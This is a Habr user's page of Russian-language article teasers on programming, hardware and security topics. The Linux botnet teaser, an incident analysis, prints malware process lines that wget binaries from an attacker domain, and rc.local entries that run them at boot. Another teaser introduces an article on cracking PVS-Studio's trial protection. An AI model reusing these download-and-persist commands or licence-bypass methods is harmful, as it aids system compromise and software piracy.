Search
Write a publication
Pull to refresh
222
0
Алексей @PsyHaSTe

Зигохистоморфирующий

Send message

Защита переговоров. Антижучки и индикаторы поля

Reading time15 min
Views102K

Примеры найденных жучков (источник фото: Интернет)

Дело было еще во Владивостоке.
Знакомые, владельцы турфирмы, рассказали, что однажды уборщица их спросила: «А почему вечером, когда все уходят, у вас сверху, на шкафу что-то мигает?». Полезли на шкаф, а там — чуть ли не автомобильный аккумулятор и рация, прикрученная синей изолентой. Вот такой суровой бывала дальневосточная прослушка.

Я узнал, что компания detsys.ru проводит у себя бесплатное обучение по пользованию индикаторами поля и попросил у них на недельку три экземпляра антижучков и еще парочку имитаторов сигналов для проверки работоспособности поисковой техники, для того чтобы повозиться с ними в Хакспейсе.

Под катом немного исторических примеров прослушки и доступные способы самостоятельной проверки своих помещений.
(Если ваши далекие знакомые сталкивались с обнаружением и, не дай бог, с установкой жучков, поделитесь в комментах)
Читать дальше →

Почему пара и кортеж — это чаще всего плохо

Reading time4 min
Views20K

Многим программистам знакомы концепции пар и кортежей (pair и tuple) — их реализации есть в STL, Boost (и может быть где-нибудь еще). Для тех, кто не знает, что это такое, я коротко поясню — это шаблоны, позволяющие сгруппировать несколько значений (пара — только 2, tuple — много) с целью хранить\передавать\принимать их вместе.
Пример из MSDN:
   pair <int, double> p1 ( 10, 1.1e-2 );
   pair <int, double> p2 = make_pair ( 10, 2.22e-1 );
   cout << "The pair p1 is: ( " << p1.first << ", " << p1.second << " )." << endl;
   cout << "The pair p2 is: ( " << p2.first << ", " << p2.second << " )." << endl;
 

Поначалу идея кажется заманчивой, ведь:
  1. Вместо передачи в функцию нескольких векторов одинаковой размерости можно передать только один вектор пар\кортежей, не заботясь о проверке их соответствия.
  2. Можно легко вернуть из функции набор значений, не мороча голову с указателями или ссылками в out-параметрах (для многих это сложно)
  3. Можно избежать создания кучи мелких структур из 2-3 полей (меньше кода — лучше).
Но есть и тёмная сторона этой силы.
Читать дальше →

Парадокс доказательства

Reading time12 min
Views249K
31 августа 2012 года японский математик Cинъити Мотидзуки опубликовал в интернете четыре статьи.

Заголовки были непостижимы. Объём был пугающим: 512 страниц в сумме. Посыл был дерзким: он заявил, что доказал abc-гипотезу, знаменитую, соблазнительно лёгкую числовую теорию, которая десятилетиями заводила математиков в тупик.

Затем Мотидзуки просто ушёл. Он не отправил свою работу в Annals of Mathematics. Он не оставил сообщение ни на одном сетевом форуме, которые часто посещают математики со всего мира. Он просто опубликовал статьи и ждал.

Два дня спустя, Джордан Элленберг, профессор математики в Висконсинского университета в Мадисоне, получил почтовое оповещение от Google Scholar, сервиса, который сканирует интернет в поисках статей по указанным темам. Второго сентября Google Scholar отправил ему статьи Мотидзуки: «Это может заинтересовать вас».

«А я такой: „Да, Гугл, мне это как бы интересно!“» – вспоминает Элленберг, – «Я запостил их в Фэйсбуке и в моём блоге, с пометкой: „Между прочим, похоже, что Мотидзуки доказал abc-гипотезу“».

Интернет взорвался. В течение дней даже далёкие от математики СМИ подхватили историю. «Решена сложнейшая в мире математическая теория», – объявила Telegraph. «Возможный прорыв в abc-гипотезе», – немного скромнее писала New York Times.

На математическом форуме MathOverflow математики со всего мира стали оспаривать и обсуждать заявление Мотидзуки. Вопрос, который быстро стал самым популярным на форуме был прост: «Кто-нибудь может объяснить философию его работы и прокомментировать почему она может пролить свет на abc-гипотезу?» – спросил Энди Путман, ассистент профессора в Университете Райса. Или, если перефразировать: «Я ничего не понял. Кто-нибудь понял?»

Проблема, с которой столкнулись многие математики, сбежавшиеся к сайту Мотидзуки, была в том, что доказательство было невозможно прочесть. Первая статья под заголовком «Интер-универсальная теория Тейхмюллера 1: Построение театров Ходжа», начинается с утверждения, что цель работы в «разработке арифметической версии теории Тейхмюллера для цифровых полей ограниченных эллиптической кривой… с помощью применения теории полуграфов анабелиоидов, фробениоидов, эталь тета-функций и логарифмических оболочек».

Это похоже на тарабарщину не только для обывателя. Это было тарабарщиной и для математического сообщества.

«Смотря на неё, ты чувствуешь будто читаешь статью из будущего или далёкого космоса», – написал Элленберг в своём блоге.

«Она очень, очень странная», – говорит профессор Колумбийского университета Йохан де Йонг, работающий в близких сферах математики.

Мотидзуки создал столько математических инструментов и собрал столько несочетаемых областей математики, что его статья оказалась наполнена языком, который никто не мог понять. Она была абсолютно непривычной и абсолютно интригующей.

Как профессор Мун Дучин из университета Тафтса выразила это: «Он воистину создал свой собственный мир».

Должно пройти долгое время прежде чем кто-нибудь будет способен понять работу Мотидзуки, тем более оценить верность доказательства. В последующие месяцы статьи лежали камнем на плечах математического сообщества. Горстка людей подобралась к ним и начала изучать. Другие пытались, но быстро сдались. Некоторые полностью игнорировали их, предпочитая наблюдать издалека. Что же до виновника беспокойства, человека, который заявил, что решил одну из величайших проблем математики – от него не было ни звука.
Читать дальше →

Исследуем Linux Botnet «BillGates»

Reading time26 min
Views87K
image

Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:
Скрытый текст
root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

К сожалению, процессы не додумался скопировать

Начальный анализ


Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«Хмм, ладно», подумал я. Полез в root'овский crontab
Читать дальше →

О сколько нам открытий чудных готовит Office Microsoft

Reading time5 min
Views116K


По сообщениям в комментариях к статье про блокнот, во всех версиях Microsoft Excel, начиная по крайней мере с '97 и до самых новых, в имени листа не всегда можно ввести большую букву Ж. Данная проблема обсуждается в сети уже давно, например на этом форуме забавно наблюдать, как некоторые утверждают, что у них проблемы нет, а у других есть, но не всегда, и никто не понимает, почему так. На первый взгляд можно подумать, что это просто недоработка программистов: они хотели не дать пользователю ввести символ ':', и просто не подумали о том, что Ж находится на той же кнопке.

На деле оказалось всё гораздо хуже. Описать нормальными словами то, что происходит в excel, когда вы просто нажимаете кнопку 'Ж', практически невозможно. Поэтому я попытаюсь обрисовать в целом процесс исследования, сократив его где возможно, и не слишком перегружая статью ассемблерным кодом. В итоге мы узнаем, почему получается так, что не любые символы можно ввести, и как это можно исправить.
Читать дальше →

Вот что будет, если установить топ-10 программ с Download.com

Reading time8 min
Views324K


Мы установили десять самых популярных программ с Download.com, и вы не поверите, что произошло! Впрочем, наверное, вы и сами можете догадаться: что-то ужасное. Что-то ужасное — вот что произошло. Присоединяйтесь к нашему веселью!

Уже не первый год мы сетуем на то, что нельзя спокойно порекомендовать скачать бесплатную программу, а недавно мы рассказали, как можно безопасно испытывать любое ПО при помощи виртуальной машины. И мы подумали: а почему бы не повеселиться и не посмотреть, что же, в самом деле, произойдёт, если скачивать программы как обычный ничего не подозревающий пользователь?

Ради эксперимента мы будем просто прощёлкивать все экраны установки с настройками по умолчанию на чистой виртуальной машине. Мы установим десять приложений из списка самых популярных загрузок. И предположим, что наш персонаж — рядовой пользователь.
Читать дальше →

Знакомство с внутренним устройством .NET Framework. Посмотрим, как CLR создаёт объекты

Reading time27 min
Views59K
Вниманию читателей «Хабрахабра» представляется перевод статьи Хану Коммалапати и Тома Кристиана об внутреннем устройстве .NET. Существует альтернативный вариант перевода на сайте Microsoft.

В статье рассматривается:

  • Системный домен (SystemDomain), Домен общего доступа (SharedDomain) и домен по умолчанию (DefaultDomain)
  • Представление объекта и другие особенности организации памяти
  • Представление таблицы методов
  • Распределение методов

Используемые технологии: .NET Framework, C#

Содержание


  1. Домены создаваемые начальным загрузчиком
  2. Системный домен
  3. Домен общего доступа (разделяемый)
  4. Дефолтный домен
  5. Загрузчик куч
  6. Основы типов
  7. Экземпляр объекта
  8. Таблица методов
  9. Размер базового экземпляра
  10. Таблица слотов метода
  11. Описатель метода
  12. Карта таблиц виртуальных методов интерфейсов и карта интерфейса
  13. Виртуальное распределение
  14. Статические переменные
  15. EEClass
  16. Заключение

Читать дальше →

Многострадальный notepad: ошибка, которую не исправляют уже 13 лет

Reading time6 min
Views145K


В стандартном блокноте для всех версий Windows, начиная примерно с 2001 года, имеется ошибка, про которую практически все знают, но никто не собирается её исправлять. И это понятно, ведь это не критическая уязвимость, ничьей безопасности она не угрожает. Да и пользуется ли кто блокнотом вообще?

Тем не менее, сам факт довольно странный, поэтому мы попробуем найти эту ошибку в коде 64-битного и 32-битного notepad.exe от windows 7, исправим её, и выясним наконец, почему же она возникла. Заключается ошибка в следующем:

Если в блокноте включена опция «перенос по словам» (word wrap), то после сохранения файла начинаются всевозможные глюки: строки начинают разъезжаться, курсор улетает, текст вводится не туда, куда вы ожидаете, и так далее.
Читать дальше →

Интерполяция данных: соединяем точки так, чтобы было красиво

Reading time7 min
Views167K
Как построить график по n точкам? Самое простое — отметить их маркерами на координатной сетке. Однако для наглядности их хочется соединить, чтобы получить легко читаемую линию. Соединять точки проще всего отрезками прямых. Но график-ломаная читается довольно тяжело: взгляд цепляется за углы, а не скользит вдоль линии. Да и выглядят изломы не очень красиво. Получается, что кроме ломаных нужно уметь строить и кривые. Однако тут нужно быть осторожным, чтобы не получилось вот такого:

Читать дальше →

Когда программа падает только по средам

Reading time3 min
Views64K
Откиньтесь на спинку кресла и отдохните – пришло время рассказать об одном из моих самых любимых багов.

Это была моя самая первая работа в сфере IT – летняя практика в компании, разрабатывающей очень серьезное медицинское оборудование, в частности системы подачи анестезии и мониторы для пациентов больниц. Монитор для пациента – это такая попискивающая коробка рядом с лежачим больным, которая меряет пульс, давление, частоту дыхание и прочее, а также оповещает медсестер в случае неприятностей. Офис был полон двухметровых баллонов с веселящим газом, по нему расхаживали роскошнобородые гуру-эксперты по встраиваемым системам, и были целые комнаты-хранилища специально для документации, необходимой для сертификации различного оборудования. Народ до сих пор шепотом рассказывал об одном баге, пропущенном тестировщиками с десяток лет назад, из-за которого система подачи анестезии перезапустилась посреди операции. Стоит ли говорить, что зеленого сопляка-студента вроде меня и за километр бы не подпустили к боевым системам?

Вместо этого мне поручили проект-прототип с целью опробовать в действии самые горячие технологические новинки 1997 года – сервер на C++, который бы слушал мониторы по последовательному порту, сливал интересные данные в базу на SQL Server и отправлял их на Java-апплет через CORBA, чтобы доктора и родственники могли следить за самочувствием больного через интернет. Красота же! Особенно с учетом того, что практического опыта у меня не было ни с одной из этих систем и технологий!
Читать дальше →

Исследование защиты PVS-Studio

Reading time4 min
Views55K
PVS-Studio

Приветствую! Это мой первый пост на Хабре в принципе, но не первая статья о взломе ПО вообще, поэтому навык писать все с начала и по шагам, для начинающих крякеров, у меня есть. В данной статье я расскажу о том, как был отучен от триальности PVS-Studio.
Читать дальше →

Хлеб Маркуса и YAGNI

Reading time17 min
Views46K
imageНедавно в нашей новостной ленте появились два Героя, программисты-пекари – Борис и Маркус. Борис – хороший человек и перфекционист, а Маркус – очень скромный и серый программист, не желающий выделяться. Оба стремятся к лучшему и хотят быть полезными. Но кажется, что Маркус не очень старался.
Это новая ветка – продолжение. Сегодня сюжетная линия коснется только Маркуса. Он – главный герой.
Итак, история под катом.
Читать дальше →

Разработчики игры Game Dev Tycoon подшутили над пиратами

Reading time1 min
Views340K
Что будет, если игроки скачают нелицензионную копию симулятора игровой студии, а в игре столкнутся с пиратством — да так, что играть станет невозможно? Разработчики новой игры Game Dev Tycoon не удержались от того, чтобы провести эксперимент. Вместе с платной версией своей игры они создали «крякнутую» пиратскую версию с небольшими изменениями.

Как говорит один из авторов, уже через минуту после регистрации на трекере игру начали активно качать.


Читать дальше →

Такие удивительные семафоры

Reading time9 min
Views144K
От переводчика: Джефф Прешинг (Jeff Preshing) — канадский разработчик программного обеспечения, последние 12 лет работающий в Ubisoft Montreal. Он приложил руку к созданию таких известных франшиз как Rainbow Six, Child of Light и Assassin’s Creed. У себя в блоге он часто пишет об интересных аспектах параллельного программирования, особенно применительно к Game Dev. Сегодня я бы хотел представить на суд общественности перевод одной из статей Джеффа.

Поток должен ждать. Ждать до тех пор, пока не удастся получить эксклюзивный доступ к ресурсу или пока не появятся задачи для исполнения. Один из механизмов ожидания, при котором поток не ставится на исполнение планировщиком ядра ОС, реализуется при помощи семафора.

Раньше я думал, что семафоры давно устарели. В 1960‑х, когда еще мало кто писал многопоточные программы, или любые другие программы, Эдсгер Дейкстра предложил идею нового механизма синхронизации — семафор. Я знал, что при помощи семафоров можно вести учет числа доступных ресурсов или создать неуклюжий аналог мьютекса, но этим, как я считал, область их применения ограничивается.
Читать дальше →

Организация памяти

Reading time7 min
Views243K
За последнюю неделю дважды объяснял людям как организована работа с памятью в х86, с целью чтобы не объяснять в третий раз написал эту статью.

И так, чтобы понять организацию памяти от вас потребуется знания некоторых базовых понятий, таких как регистры, стек и тд. Я по ходу попробую объяснить и это на пальцах, но очень кратко потому что это не тема для этой статьи. Итак начнем.
Читать дальше →

Организация памяти процесса

Reading time8 min
Views145K
image
Управление памятью – центральный аспект в работе операционных систем. Он оказывает основополагающее влияние на сферу программирования и системного администрирования. В нескольких последующих постах я коснусь вопросов, связанных с работой памяти. Упор будет сделан на практические аспекты, однако и детали внутреннего устройства игнорировать не будем. Рассматриваемые концепции являются достаточно общими, но проиллюстрированы в основном на примере Linux и Windows, выполняющихся на x86-32 компьютере. Первый пост описывает организацию памяти пользовательских процессов.
Читать дальше →

Что новые версии UEFI-стандартов нам готовят, часть третья, UEFI 2.5

Reading time6 min
Views24K
В последней части цикла я постараюсь рассказать о новшествах стандарта UEFI 2.5, первые реализации которого должны появиться примерно через полгода на новых платах с процессорами Intel Skylake и AMD R-Series. В первой и второй частях речь шла о более низкоуровневых (и потому менее интересных неспециалистам) стандартах PI 1.4 и ACPI 6.0, здесь же поговорим об изменениях, напрямую влияющих на работу ОС и возможности загрузки по сети. Если вы хотите узнать, что нового в UEFI 2.5, почему PXE уходит в прошлое и зачем UEFI поддержка WiFi и Bluetooth — искренне прошу под кат.
Читать дальше →

Визуализация результатов в R: первые шаги

Reading time5 min
Views30K
В одном из предыдущих постов мы уже писали о центральном понятии в статистике — p-уровне значимости. И пока в научной среде не утихают споры об интерпретации p-value, значительная часть исследований проводится именно с использованием p-value для определения значимости полученных в исследовании различий. Сегодня же мы поговорим о самом творческом этапе обработки данных — как же значимые различия визуализировать.

Читать дальше →

Два мира виртуальных машин

Reading time18 min
Views40K
Виртуальный. В отличие от большинства модных компьютерных словечек, это понятие обычно соответствует своему словарному определению в тех случаях, когда речь идёт об аппаратуре или программах. Словарь «Random House College Dictionary» определяет «virtual» как «проявляющий свойства и эффекты чего-либо, но не являющийся таковым на самом деле».
Оригинал
Virtual. Unlike most computer buzzwords, this one usually holds true to its dictionary definition when it refers to hardware or software. The Random House College Dictionary defines «virtual» as «being such in force or effect, though not actually or expressly such.» [4]
Последние несколько лет в начале каждого семестра я даю студентам определения основных терминов, используемых в моём курсе: симуляция, эмуляция и виртуализация. И каждый раз я говорю, чтобы мои слова не принимали за стопроцентную правду. Дело в том, что в одних областях технического знания эти термины зачастую трактуются противоположно тому, что принято использовать в других. Нелёгкое это дело — давать определения.

Видимо, эту проблему заметил не только я. В своей книге Software and System Development using Virtual Platforms, вышедшей в прошлом году, мои коллеги Jakob Engblom и Daniel Aarno в первой главе вводят понятия simulation и emulation и отмечают неоднозначность их толкования в областях разработки программного обеспечения и проектирования аппаратуры.

С беспорядком в толковании этих двух терминов я для себя разобрался и вроде бы смирился. Осталось ещё одно понятие, уже более десяти (на самом деле пятидесяти) лет не теряющее популярности — это «виртуализация». За время своего бытия в категории «buzzword» оно стало сочетаться со множеством других слов. Недавно я осознал, что термин «виртуальная машина» (ВМ) на самом деле используется для обозначения двух хоть и связанных, но различных сущностей. В этой статье я расскажу о двух классах: языковые и системные виртуальные машины. Я покажу сходства и различия между ними, их назначение, классификацию, общие и частные черты в их практической реализации.


Читать дальше →

Введение в технику оптимизации циклов

Reading time4 min
Views59K
Большая часть времени исполнения программы приходится на циклы: это могут быть вычисления, прием и обработка информации и т.д. Правильное применение техник оптимизации циклов позволит увеличить скорость работы программы. Но прежде, чем приступать к оптимизациям необходимо выделить «узкие» места программы и попытаться найти причины падения быстродействия.
Читать дальше →

Information

Rating
Does not participate
Registered
Activity